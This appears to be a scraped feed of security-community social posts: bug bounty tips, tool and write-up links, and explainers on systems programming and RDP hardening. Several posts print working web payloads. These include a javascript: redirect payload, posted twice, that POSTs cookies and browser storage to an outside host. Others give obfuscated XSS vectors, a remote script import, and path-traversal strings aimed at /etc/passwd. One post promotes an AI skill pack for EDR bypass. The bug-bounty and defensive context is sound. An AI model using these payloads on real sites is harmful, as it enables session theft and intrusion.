$ecuNode

🤔

[tetsuo @tetsuoai]

Linux Socket Programming in C: Cheat Sheet

[zeroagiworld @zeroagiworld]

@grgerwcwetwet https://t.co/w30Ev1Jhzz

[kernelstub @kernelstub]

A Static binary analysis and reverse engineering workbench toolkit, it's still in early stages, and it's written in GO.

PRE-RELEASE 1.0.1

https://t.co/uQZMkZGidL

[Geek Lite @QingQ77]

一套给 AI 用的逆向工程和渗透测试技能路由包，让 AI 碰到安全任务时知道该用什么方法。

https://t.co/h7cdYNEPDd

里面有 20 多个子技能，覆盖 APK 逆向、IDA 分析、JS 前端破解、固件渗透、EDR 绕过、漏洞利用这些场景。AI 读了 routing.md 就知道碰到什么任务该进哪个技能目录。

[KNOXSS @KN0X55]

Fake HTMLi for JSi

<a href='/alert(1)/'>

An HTML anchor that works as JavaScript Injection, possibly confusing parsers and/or satisfying white lists.

This same technique worked against Bitrix24 CMS WAF
https://t.co/s0ouLOgBjG

#hack2earn

[Smukx.E @5mukx]

Reverse Engineering For Beginners – XOR encryption – Windows x64

Blog:- https://t.co/gqsgSLprOu

[Secuaudit @Secuaudit]

I injected {{7*7}} into a name field. The page said: "Hello, {{7*7}}"
Template not evaluated. I moved on.
🔴 That was a mistake.
The PDF generator rendered it 3 minutes later. DNS hit. Jinja2. Internal IP. P1.
Here's what I missed — and how to never miss it again: https://t.co/rmvBnJpypp

#BugBounty #AppSec #CyberSecurity #Hacking #Pentest #bugbountytips

[Vivek | Cybersecurity @VivekIntel]

📱 Massive Collection of Mobile Pentesting & Reverse Engineering Tools ⚔️

Curated resources for: 🤖 Android Security Testing
🍎 iOS Reverse Engineering
🔍 APK & IPA Analysis
🧠 Frida Instrumentation
🛡️ SSL Pinning Bypass
📡 NFC & Bluetooth Research
🔥 Runtime Analysis
🕵️ Mobile Malware Research

Includes tools like: ⚡ MobSF
⚡ Frida
⚡ Objection
⚡ Drozer
⚡ Apktool
⚡ JADX
⚡ Ghidra
⚡ Burp Suite

Most security researchers focus only on web applications. Mobile apps expose completely different attack surfaces — insecure storage, hardcoded secrets, deep links, SSL pinning flaws, API abuse, and runtime vulnerabilities.

This repo is a strong resource for anyone learning mobile application security and pentesting.

🔗 https://t.co/qmq1HgRWbH

#CyberSecurity #MobileSecurity #Android #iOS #ReverseEngineering #BugBounty #Pentesting

[Hamed Elnwasani @0xhamdoon]

Two useful writeups I recently published:
1. Zero-Click ATO via Self-Stored XSS + WAF Bypass + IDOR
🔗https://t.co/uer6ZK7VnE

2. Chained Two Logic Flaws to Break a Ticketing System
🔗https://t.co/2DSAaufeMj

Enjoy reading, and happy hacking
#bugbounty #cybersecurity

[trish @TrisH0x2A]

a professor at Illinois got frustrated with existing systems programming textbooks

so he started a wikibook project and had students help write it

it covers C, processes, threads, synchronization, memory allocation, networking, filesystems, scheduling and security

all in one free PDF

it eventually became the official textbook for CS 241 at UIUC with more than 1000 students taking the course every year

written for people who already know how to code and want to understand what actually happens underneath

[Will Gates @WllGates]

/login?redirectUrl=javascript:fetch('https://t.co/TMO8C166hT 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})})

credit: @JoaoGomes12243

#bugbountytips #BugBounty

[KNOXSS @KN0X55]

JavaScript URI Obfuscation
(colon entity, no semicolon)

JavaScript%26%2358confirm(1) JavaScript%26%2358AB:confirm(1) JavaScript%26%2358%0Bconfirm(1) JavaScript%26%2358top?confirm(1):0

#hack2earn

[Het Mehta @hetmehtaa]

The Hacker Recipes is the AD attack bible that OSCP prep guides forget to mention.

Kerberos delegation abuses.
NTLM relay chains.
DCSync paths.
Constrained vs unconstrained delegation.

https://t.co/sOQy6OwG7S

[obscaries ❘ AppSec @obscaries]

This article on JavaScript analysis for pentesters is a solid walkthrough of:
• endpoint extraction
• hidden routes
• dangerous DOM sinks
• framework-specific attack surfaces
• client-side recon methodology

Worth reading if you're into client-side bug bounty hunting:
https://t.co/4JBnnkbjf3

#bugbounty #websecurity #javascript #infosec #appsec #pentesting

[João Gomes (zig_shark) @JoaoGomes12243]

/login?redirectUrl=javascript:fetch('https://t.co/sgFFzZHc4q 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})})

[BRute Logic @BRuteLogic]

Path Traversal Bypasses

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32Fpasswd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

[KNOXSS @KN0X55]

XSS PoC Styles

- Noob
alert(1)

- Bug Hunter
alert(document.domain)

- WAF Ninja
d=document,b='`',d['loca'%2B'tion']='javascrip'%2B't%26colon;aler'%2B't'%2Bb%2Bd.domain%2Bb

- Red Teamer
import('//domain.tld/xss2rce.js')

- KNOXSS

[Bounty Security @BountySecurity]

Profile 2 of the new AI/LLM set in Burp Bounty Pro: API gateway fingerprints.

🌐 Detects:

x-kong-upstream-latency
x-kong-proxy-latency
x-kong-request-id
x-envoy-upstream-service-time
x-envoy-attempt-count
x-envoy-original-path

[KNOXSS @KN0X55]

Some Neat XSS Tricks

</<K><Svg Onload=alert(1)>
</<Kno XSS="><Svg Onload=alert(1)>
<!<K><Svg Onload=alert(1)>
<!<Kno XSS="><Svg Onload=alert(1)>

Test them here:
https://t.co/oujWZWxxEk

[Balogun Hammed @bhalloinfraguy]

Infrastructure Concept — explained simply

RDP (Remote Desktop Protocol)

Microsoft’s protocol for remote GUI access. Default port 3389.

Unlike SSH (text-only) or VNC (raw pixels), RDP sends drawing commands, a much smaller payload and a smoother experience over slow links.

What flows over an RDP session:
keyboard + mouse input from client
screen updates back from the server
clipboard sync both directions
file transfers, audio, printers
Clients you’ll actually use:
mstsc.exe (Windows)
Remmina (Linux)
FreeRDP / Microsoft Remote Desktop (Mac)

One rule above all else: never expose 3389 directly to the internet. It gets brute-forced within minutes. Sit it behind a VPN or RD Gateway. Enable NLA. Add MFA. Patch BlueKeep.

RDP is one of the most common entry points for ransomware in 2026. Treat it accordingly.